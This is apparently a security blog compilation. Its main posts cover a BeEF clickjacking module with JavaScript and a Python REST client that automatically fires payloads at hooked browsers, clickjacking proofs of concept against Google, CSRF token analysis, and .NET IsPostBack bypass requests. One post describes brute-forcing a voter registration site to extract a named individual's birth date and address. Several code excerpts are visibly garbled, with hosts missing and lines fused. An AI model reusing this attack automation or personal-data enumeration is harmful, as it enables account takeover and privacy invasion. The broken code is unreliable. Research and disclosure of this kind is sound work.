BeEf Clickjacking Module and using the REST API to Automate Attacks

I’ve chatted about clickjacking a few times in the past. It’s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn’t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you’re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.

A couple weeks ago my wife and I submitted a clickjacking module to BeEf (now accepted into the main branch). This is a post about that. First I’m going to talk about how it works, and then about how to use it.

Reliably Following the Mouse

One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There’s other mouse following code available, but to my knowledge, none of the previously written snippets have worked as reliably.

The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it’s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.

$j("body").mousemove(function(e) {
     $j(outerObj).css('top', e.pageY);
     $j(outerObj).css('left', e.pageX);

The “body” turns out to be important, since IE didn’t recognize “document” – so if you have custom attacker pages watch out for that.

Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.

Multiple Clicks and Events

It’s a bit of a challenge on how to detect when a user clicks over a domain we don’t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.

$j(btnObj).focusout(function() {
    cjLog("Iframe clicked");

When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There’s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn’t work.

function iframeClicked(){
    var jsfunc = '';
    jsfunc = clicks[clicked-1].js; = clicks[clicked].posTop;
    innerPos.left = clicks[clicked].posLeft;
    }, <%= @clickDelay %>);

        var btnSelector = "#" + elems.btn;
        var btnObj = $j(btnSelector);

        //check if there are any more actions to perform
        try {
            if (isNaN(parseInt(clicks[clicked].posTop))) {
                throw "No more clicks.";
        } catch(e) {
    }, 200);

Using the BEEF REST API to Automatically Attack Victims when they Visit our Page

There are a few reasons we chose BeEf to write this. First, there’s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn’t seem realistic. We want the attack to begin right when someone visits our page.

Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I’m surprised it isn’t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules – not just the clickjacking.

My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client

<!-- BeEF hook call -->
<script type="text/javascript">
	var commandModuleStr = '<script src="" type="text/javascript"><\/script>';
    system("python /var/www/beef/ & > /tmp/myscriptlog.txt");
?> -->

The REST client script grabs the latest session and sends an attack. For example, to send our clickjacking attack

Update: This could be better by making use of the autorun call, which I didn’t know existed at the time. Here:, and


import json
import urllib
import urllib2
import time

class beefClickjack:
	def __init__(self, authkey, host):
		self.authkey = authkey = host

	#returns all online hooked browsers
	#TODO exception handling
	def getHookedBrowsers(self):
		f = urllib2.urlopen( + "/api/hooks?token=" + self.authkey)
		data = json.loads(
		hooked = data["hooked-browsers"]["online"]
		return hooked

	#returns most recent hooked browser
	#there is a bit of a race condition, but in reality it  shouldn't matter
	def getLastHooked(self):
		hooked = self.getHookedBrowsers()
		max_hook = sorted(hooked)[-1]
		print "============="
		print hooked
		print "============="
		sessionid = hooked[max_hook]["session"]
		return (sessionid, max_hook)

	#send clickjacking payload to most recently hooked browser
	#can get with /api/modules?token=....
	def sendClickjack(self, data):
		sessionId = self.getLastHooked()[0]
		url = + "api/modules/" + sessionId + "/22?token=" + self.authkey
		print url
		req = urllib2.Request(url, data)
		req.add_header("Content-Type", "application/json; charset=UTF-8")
		f = urllib2.urlopen(req)

#Below will need to be customized
if __name__ == "__main__":
	b = beefClickjack(
	data = {
		"iFrameSrc" : "",
		"iFrameSecurityZone" : "off",
		"iFrameSandbox" : "off",
		"iFrameVisibility" : "on",
		"clickDelay" : "300",
		"iFrameWidth" :" 30",
		"iFrameHeight" :"15",
		"clickaction_1" : "$(\"#overlay1\").data(\"overlay\").close();",
		"iFrameLeft_1" : "990",
		"iFrameTop_1" : "180",
		"iFrameLeft_2" : "-",
		"iFrameTop_2" : "-"

Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.

Real World Usage/Examples

In September 2012 performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.

The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles… most everything where you perform actions. When we first wrote this module our first test used multiple clicks against Google, which I believe still works today. Below I’ll outline a few simpler use cases for the module.

Amazon – Adding an Item to the Wishlist

One XSS I heard about recently was in the wishlist. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn’t vulnerable to CSRF). The REST API source above is for Amazon:

One interesting note that you’ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the “attack”. I reported this to Amazon and they’ve since added x-frame-options to the mobile pages.


The goal of this “attack” is to get someone logged into to like a post that I’ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I’ll just use BeEf’s web interface rather than the REST api.

Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload.


I hope this is my last post about clickjacking ever. :)

Rocking the Vote to Figure out how old my ex-Boss is

It’s probably not surprising that state governments can sometimes not care much about privacy and security on their websites. In this case, I was registering to vote on the official Washington site here: The authentication information is your name and date of birth… ok… W-I-L-L-I-A-M G-A-T-E-S

With a date of birth, you can see a voter’s address, and also the elections where he voted

As you can see, Jeff Bezos votes less often than Bill Gates since unlike Bill Gates, Mr Bezos skips primaries, special elections, and 2006

Around the office, it’s kind of a contest to figure out how old my ex-boss is. My co-workers have tried to use the old “let me see your gun license” trick, but meanwhile, I suck at social engineering. So WA voter registration website ftw!

I setup Burp Intruder to iterate on all the birthdays, placing the ex-boss in a range, like between 28 and 35. He has a relatively common name, but I also happen to know the neighborhood he lives in, so I can save these responses and come up with an exact date of birth. Just sort by size and look at all the valid addresses, in my case there were four hits but I can manually figure out which one is right.

and BAM, as long as he registered to vote now I have an age. It goes without saying this could also be used to extract street addresses, and times people have voted. Unfortunately although I found quite a few John Does at this point, it appears this particular John Doe failed to register to vote. When I asked him if he registered to vote, he confirmed he didn’t, that sneaky bastard.

Anyway, I’m not a fan of letting everyone in the world know my birthday and where I live and what elections I vote in. When I wrote Secretary Reed and mentioned I was concerned about this info all being available online, his office wrote back saying this is all apparently public record and there’s no way to opt out (and pointed at this: I think that kind of sucks Washington, but still, at least you’re not Idaho!

Clickjacking Google

When testing some x-frame-options behavior, I noticed that sameorigin cares about the top location, but not the parent location. At first I thought I discovered this, but turns out it’s not a brand new issue, and others have talked about it at least here and here.

It wasn’t immediately clear to me what sites were impacted, but two conditions need to be present: 1) somewhere on the victim domain, they need to allow you to frame stuff and 2) the victim domain uses x-frame-options sameorigin as a mitigation against clickjacking. With number two, most websites tend to not protect against clickjacking at all (which is worse, of course). However, there are a few places where these two conditions seem pretty pervasive. Google is the first thing that comes to mind because it’s common for Google to protect from clickjacking with x-frame-options: sameorigin, but then they allow external framing on the same domain. Using this and a little social engineering you can do some pretty nasty things, like an unprivileged Google Apps user taking over a domain.

A Couple Specific Examples

I have a pull request into BeEf for a module that my wife and I wrote which makes implementing these attacks trivial. I’ll probably do a blog post specifically about the module soon.

Attack 1: Making a Private Google Site Public

Here’s a video of Attack 1 in action, where victim Google site “besttest42” visits an attacker’s Google site “webstersprodigy” and inadvertently makes their site public by clicking on the next quote button a couple times (three to be exact)

Attack 2: unprivileged Google Apps user escalating to admin

  • Victim is logged in to a Google account.
  • Victim is social engineered to visit a “Google In-Page analytics” page that’s framing attacker controlled content ( There seem to be a few other ways to frame attacker controlled content on, such as igoogle or other things that might accept Google gadgets.
  • can now frame a bunch of pages from Some targets are easier than others. Calendar is tough, for example, because it requires Javascript but also has a frame breaker. Others, like finance and reader, are easy. For my PoC, I framed the Google apps admin portal imagining the victim is a Google Apps admin and the attacker is an unprivileged apps user attempting to escalate priveleges. In this case, the attacker frames
  • At this point there are four clicks involved. Click on “Roles and Privileges”, then “Assign more roles”, then “Super Admin” then “Confirm Assignment”.
  • I have a PoC for this as well as attack 1, but it’s more flaky because Google analytics Javascript sometimes made my clicks slightly off, and one click in particular I couldn’t completely hide (although I suspect with more time it should be possible). I admit the Google analytics route I have a PoC for would be tough to pull off in the real world (victim has to have recently logged in to admin portal, they have to click things inside of analytics) but the payoff is huge. The attacker is now an admin for a Google apps business and can do things like change a password and then read anyone’s email.

With attack 2, what we’re tricking the user to eventually click on is this:

Recommended Mitigations

I’m sure I’m not close to catching all the specific instances. It would probably be good for Google to go through most portals where users can change settings and set them to x-frame-options deny. A lot of these probably don’t need to be framed at all, and setting it to deny would stop the attack.

It would also be cool if Chrome checked the parent (and not just the top) when x-frame-options same-origin is set. Most browsers (Firefox, Safari, IE8) seem to do the same thing, but it seems wrong to me. It should be noted that IE9 and IE10 do better than this by checking the frame chain (e.g. this attack would fail with IE9).

Discosure Stuff

I contacted Google with basically the post above s/Google/you guys/ on 8/26. Here’s their response:

Thanks for your detailed report. Clearly, you understand some of the
challenges here ;)

This is something we’re aware of and there’s work going on amongst the
various browser vendors to modify (and agree on) what the right behaviour
should be. Right now, our approach is to bank on the browsers fixing this
in a more robust fashion.

I agree with this in principle. However, I would have liked to see x-frame-options deny set on the more sensitive pages. There are other UI redressing attacks possible of course, but since these require a few clicks I think using framing is by far the easiest. When I asked if they considered this a vuln or if they had any concerns about me writing about it, they wrote back:

No, it doesn’t qualify under the VRP — it’s something that we’re already
aware of. Feel free to write about it — it’s not especially widely known,
though is certainly not secret.

Analysis of John Wilander’s Triple Submit Cookies


At OWASP Appsec Research John Wilander recently presented an interesting CSRF mitigation – an enhancement to double submit he calls “triple submit”. It’s not implemented yet, but the idea would mitigate some of the problems with a naive double submit algorithm. This post takes a look at that and comes away with the conclusion that triple submit is an improvement over a naive double submit implementation, but doesn’t mitigate CSRF problems as well as other widespread stateless solutions in use.


Double submit cookie mitigations to CSRF are common and implementations can vary a lot. The solution is tempting because it’s scalable and easy to implement. One of the most common variation is the naive:

if (cookievalue != postvalue)
    throw CSRFCheckError

In other words, if an attacker can write a cookie, they can defeat the protection. I’ll refer to this as “naive double submit” for the rest of this post.

Naive double submit has a couple weaknesses. Writing cookies is a lot easier than reading them. Anyone on the same local network can write cookies, or you can write them with an XSS in a neighboring domain. We chatted about this a bit in our 28c3/Blackhat AD talk. As part of that, I showed a bug I opened against owa in 2010, which used to use a naive double submit implementation (and is now fixed, as is the neighbor XSS used to write the cookies). Also, check out my mad video editing skills, which I used to censor people who emailed my test account by accident and probably didn’t need to be censored anyway, but that’s just how I roll.

Better versions of double submit are common also. One variation is to tie the submit values to the session identifier (e.g. the token is a hash of the session ID). MVC4 implements something sort of similar to this, and I think what they do is pretty good. I dropped this into reflector to see how it’s implemented.

First in System.Web.Helpers.AntiXsrf.Validate

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);

Then look at what ValidateTokens is doing:

    public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
        if (sessionToken == null)
            throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
        if (fieldToken == null)
            throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
        if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
            throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
        if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
            throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
        string b = string.Empty;
        BinaryBlob objB = null;
        if ((identity != null) && identity.IsAuthenticated)
            objB = this._claimUidExtractor.ExtractClaimUid(identity);
            if (objB == null)
                b = identity.Name ?? string.Empty;
        bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
        if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
            throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
        if (!object.Equals(fieldToken.ClaimUid, objB))
            throw HttpAntiForgeryException.CreateClaimUidMismatchException();
        if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
            throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();

Even given the assumption the attackers can write cookies, this is difficult to attack. It’s stateless, and it does compare the cookie to forms, but it also extracts and validates username, the claimUid, and any additional data. By default, one user’s token won’t work on another user or another session. I don’t know the details of other stateless CSRF implementations, but with sites that look like they’re doing things right (Gmail CSRF protection) I’d bet they do something similar.

Any proposed new CSRF protection should offer some advantage against existing commonly implemented solutions (e.g. MVC CSRF protection). It doesn’t need to be better at everything, but it should be better at something.

Triple Submit Cookies

John Wilinder recently wrote up an interesting variation on the double submit scheme called “triple submit”. Thanks to John for writing this up, it’s great people are looking at this problem – web app people often don’t realize how easy cookie writes can be. There’s no implementation for triple submit available at the moment, but this is what I gather:

  • The value of the cookie is compared with the POST value, like a regular double submit.
  • A cookie is set with HTTP-Only
  • There can only be exactly one cookie with the prefix in the request or the request fails.
  • The name of the cookie has a prefix plus random value (e.g. random-cookie7-afcade2…).

Let’s look at these one by one.

Cookie == Post, HTTP-Only

Checking that a cookie is equal to POST is the same as the naive double submit solution I mentioned above. It does add security, but has weaknesses. Like I mention above, people in neighboring domains can write cookies, and people in the middle can write cookies.

HTTP-Only is irrelevant in this case. The property matters when reading cookies, but not writing new ones.

Exactly One Cookie with the Prefix

The third bullet does add security when compared with the naive solution. A common attack with naive double submit is to write a cookie with an XSS in a neighboring domain (e.g. from to If the user is logged in with cookies and they write a single cookie of their own, this will create two cookies, which the server could detect. This is pretty good, and prevents quite a few attacks, or at least makes them a lot harder.

There are still several issues I have with this:

First, performance penalty/implementation flaws. It might be more complicated than you think to verify exactly one cookie is being sent. A lot (most?) web application frameworks treat reading cookies as a case insensitive dictionary. In PHP, the $_COOKIE variable is theoretically an array of all the cookies, but if the browser sends “Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss; CsRf=IMDIFFERENT”, the array will only contain the first one. It’s similar with .NET’s Request.Cookie array, and most other server side implementations. One example of an implementation flaw is if the code made the (unlikely) mistake of referencing the POST value (e.g.Request.cookies[$POST_VAL]) then an adversary could attack this in the same way he’d attack the naive double submit. To prevent this, it seems like triple submit would have to iterate through each cookie name value pair and check for the prefix. What’s the performance penalty? It might be negligible, but with modern applications having dozens of cookies that would have to be iterated on with each request, it is something that should be measured.

Second, not all login methods require cookies. Say triple submit was implemented without any implementation flaws, but somebody used this as the method to prevent CSRF on a single sign on Kerberos/NTLM authed website. If the victim hasn’t logged in so that their token is set, an attacker could toss a cookie of the correct format (random-cookie7-…) and the exploitabiliy would be equivalent to the naive double submit. There would only be one cookie so the check would pass, and it’s SSO so the victim is always logged in.

Third, all browser cookie-jars overflow eventually. This attack would be difficult, but aren’t a lot of attacks when they start as ideas? Say the victim’s browser had cookies that looked like this:

AuthCookie=<guid>;Name=websters;random-cookie7-<random value>=<guid>

In triple submit, the POST value has to match the random-cookie7 prefix. One attack would be to overflow the cookie jar with some precision, so that it overflows random-cookie7, but not AuthCookie. In the end, it might look like the following:

random-cookie7-<attacker-value>=<attacker guid>;filler=1;filler=2;....
AuthCookie=<guid> (rest has overflowed)

Using this, an attacker could potentially bypass the CSRF protection.

Cookie Name with Prefix

The cookie name is the third thing submitted in the ‘triple submit’ solution. This probably doesn’t add security in the XSS neighbor case, but does add some in the MiTM case.

It’s common for people think there is only one cookie written if the cookie name is the same. Whenever I’ve tested, this isn’t the case. Even if the “tossed cookie” names are identical the browser still sends two cookies. Let’s look at an example.

A legitimate site, might set a cookie:

document.cookie = "csrf=foofoofoofoofoofoofoofoo; expires=Wed, 16-Nov-2013 22:38:05 GMT;";

If a neighboring site, tries to write a cookie with the same name:

document.cookie = "csrf=tosstosstosstosstoss;; expires=Wed, 16-Nov-2013 22:38:05 GMT;";

In major browsers there now exist two cookies with the same name. In the requests to it now looks something like this:

Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss

The point of this is, in the neighbor XSS case there will almost always be more than one cookie in the request whether there’s a hidden unique name or not.

Another more rare but applicable attack is a MiTM where an attacker is trying to overwrite a secure HTTPS-only cookie from an HTTP site. This is a different story. If I’m in the middle, I can write cookies, even secure ones, as long as I know the name of the cookie. Randomizing the cookie name makes an attack quite a bit harder; the goal shifts from overwriting something specific to trying to expire a random cookie where I don’t know the name. However, I can still imagine attacks on an implementation of triple submit when you’re in the middle: If the server legitimately expires the CSRF tokens (it would probably have to at some point) you might be able to force this request. If the cookies don’t have expire dates, you could crash the browser to force these cookies to expire. If the random piece of the cookie name isn’t that long you could expire millions and eventually guess the right one. There might also be clever SSL tricks that cut up certain responses so that an old cookie is expired but the new one isn’t set (leaving you free to set one). Speculative attacks on speculative implementations aside, with a good implementation having the random name would at least make overwriting the cookie from the middle significantly more difficult.

The Simplicity Advantage?

I think the best argument in favor of triple submit versus a double submit tied to the auth tokens (e.g. MVCv4) would be one of simplicity. I don’t like this argument much for a few reasons

  • Implementation wise, CSRF mitigations only need to be implemented one time per framework, and implementation isn’t substantially more difficult to code one way or the other.
  • You always need at least some minimal knowledge of the application. If you were to put a CSRF solution into a WAF and added this as a rule for all POST requests, what if the application sometimes also changes state for GET? Solutions tied with auth tokens really wouldn’t be much more complicated, even with WAF type scenarios.
  • Although with triple submit the idea is simpler, I think there are quite a few more gotchas, and it seems more easy to mess up. This is somewhat subjective, but I’ve tried to point out a few ways the implementation could have problems in this post


Triple cookie submit is an improvement over naive double submit. Naive double submit makes some CSRFs more difficult to exploit, and like that, triple submit makes many vectors even more difficult to exploit. However, there are still attack vectors that triple submit doesn’t protect against – overflowing the cookie jar, CSRF against SSO auth, and probably some clever MiTM vectors. Although triple submit offers some additional security, I think this is still worse than other existing solutions.

Interesting Problems with .NET IsPostBack()

First, credit where credit is due: Bryan Jeffries (plug here for his awesome book) talked with me about this problem a couple years ago. Since then I’ve found half a dozen bugs related to IsPostBack, but I’ve never seen the potential problems written out. Thus, this post.

What does IsPostBack Do?

The MSDN article provides some insight into how most developers will treat ispostback. It says, “true if the page is being loaded in response to a client postback; otherwise, false.”

Here’s the snippet they include:

 private void Page_Load()
    if (!IsPostBack)
        // Validate initially to force asterisks
        // to appear before the first roundtrip.

How does this actually work? Below are a handful of test cases along with results.

Simple GET request, validate() is not called

GET /postback.aspx HTTP/1.1
Host: localhost:31907

Same with a simple POST, validate() is not called

POST /postback.aspx HTTP/1.1
Host: localhost:31907
Content-Type: application/x-www-form-urlencoded


Legitimate postback, as expected, validate() is called

POST /postback.aspx HTTP/1.1
Host: localhost:31907
Cookie: ASP.NET_SessionId=l1ghpm2rocgh0verdtbdaydc
Content-Type: application/x-www-form-urlencoded
Content-Length: 12


Here’s the interesting thing. a POST with an empty viewstate and validate() is called

POST /postback.aspx HTTP/1.1
Host: localhost:31907
Cookie: ASP.NET_SessionId=l1ghpm2rocgh0verdtbdaydc
Content-Type: application/x-www-form-urlencoded
Content-Length: 12


Maybe even more interesting, a GET with an empty viewstate and validate() is called. So the postback doesn’t even need to be a POST!

GET /postback.aspx?__VIEWSTATE= HTTP/1.1
Host: localhost:31907

If a developer takes what MSDN says at face value – that the page is being loaded in response to a client postback – they may occasionally rely on this as a security measure without realizing it.

CSRF Vector

Let’s modify our earlier project a bit and compile it with .net 3.5

    public partial class postback : System.Web.UI.Page
        protected override void OnInit(EventArgs e) 
            Page.ViewStateUserKey = Session.SessionID;

        protected void Page_Load(object sender, EventArgs e)
                Response.Write("Error, this page is after a post");
                Response.Write("Ok, you're cool");

First, note There are a lot of things //process can do. Upload files, call an operation that deletes users, etc. The one caveat for our attack is that VIEWSTATE needs to be empty. There are a lot of times this is the case with builtin .net functions. Uploading files, SQL operations, file operations, etc all just don’t require VIEWSTATE to work.

Secondly, note that VIEWSTATEUSERKEY is set to the session ID. This is generally the recommended way to protect against CSRF in .net. It’s very common for developers to set this in a master page and not think about CSRF anymore – and I agree… that’s the way it should be in an ideal world. But unfortunately it’s not always the case. In the above project, if the request is sent with an empty VIEWSTATE then //process is hit.

The root cause of this can be found in the HiddenFieldPageStatePersister Load method. Opening this with reflector, you can see that if requestViewStateString is empty then the check is bypassed:

    public override void Load()
        if (base.Page.RequestValueCollection != null)
            string requestViewStateString = null;
                requestViewStateString = base.Page.RequestViewStateString;
                if (!string.IsNullOrEmpty(requestViewStateString))
                    Pair pair = (Pair) Util.DeserializeWithAssert(base.StateFormatter, requestViewStateString);
                    base.ViewState = pair.First;
                    base.ControlState = pair.Second;
            catch (Exception exception)
                if (exception.InnerException is ViewStateException)
                ViewStateException.ThrowViewStateError(exception, requestViewStateString);

This is hardened in 4.0, where the if statement adds a check to see if the ViewStateUserKey is null.

 if (!string.IsNullOrEmpty(requestViewStateString) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))

So in .net 4.0, this CSRF bypass shouldn’t work as long as viewstateuserkey is set.

Auth Bypass Vector

A less common vector is when developers don’t auth their pages properly. This can be very context specific, but I found this problem in an admin application, and it had some very interesting consequences. A dumbed down version of the code is the following, which could be bypassed with an empty viewstate. Again, if the actions require VIEWSTATE and event validation, the attacker is hosed. But if this is a common construct, you’re bound to find some operations that don’t

protected void Page_Load(object sender, EventArgs e)
        //authenticate user, show options based on auth
        //process, an attacker can hit this without auth

The assumption here is the same as the CSRF vector, that the “the page is being loaded in response to a client postback”. That is what MSDN says, after all. The developers are just interpreting it a certain way :) I don’t think MSDN is in the wrong here. What I do find interesting is how a non-security feature can cause a decent number of issues just because of the assumptions that people make.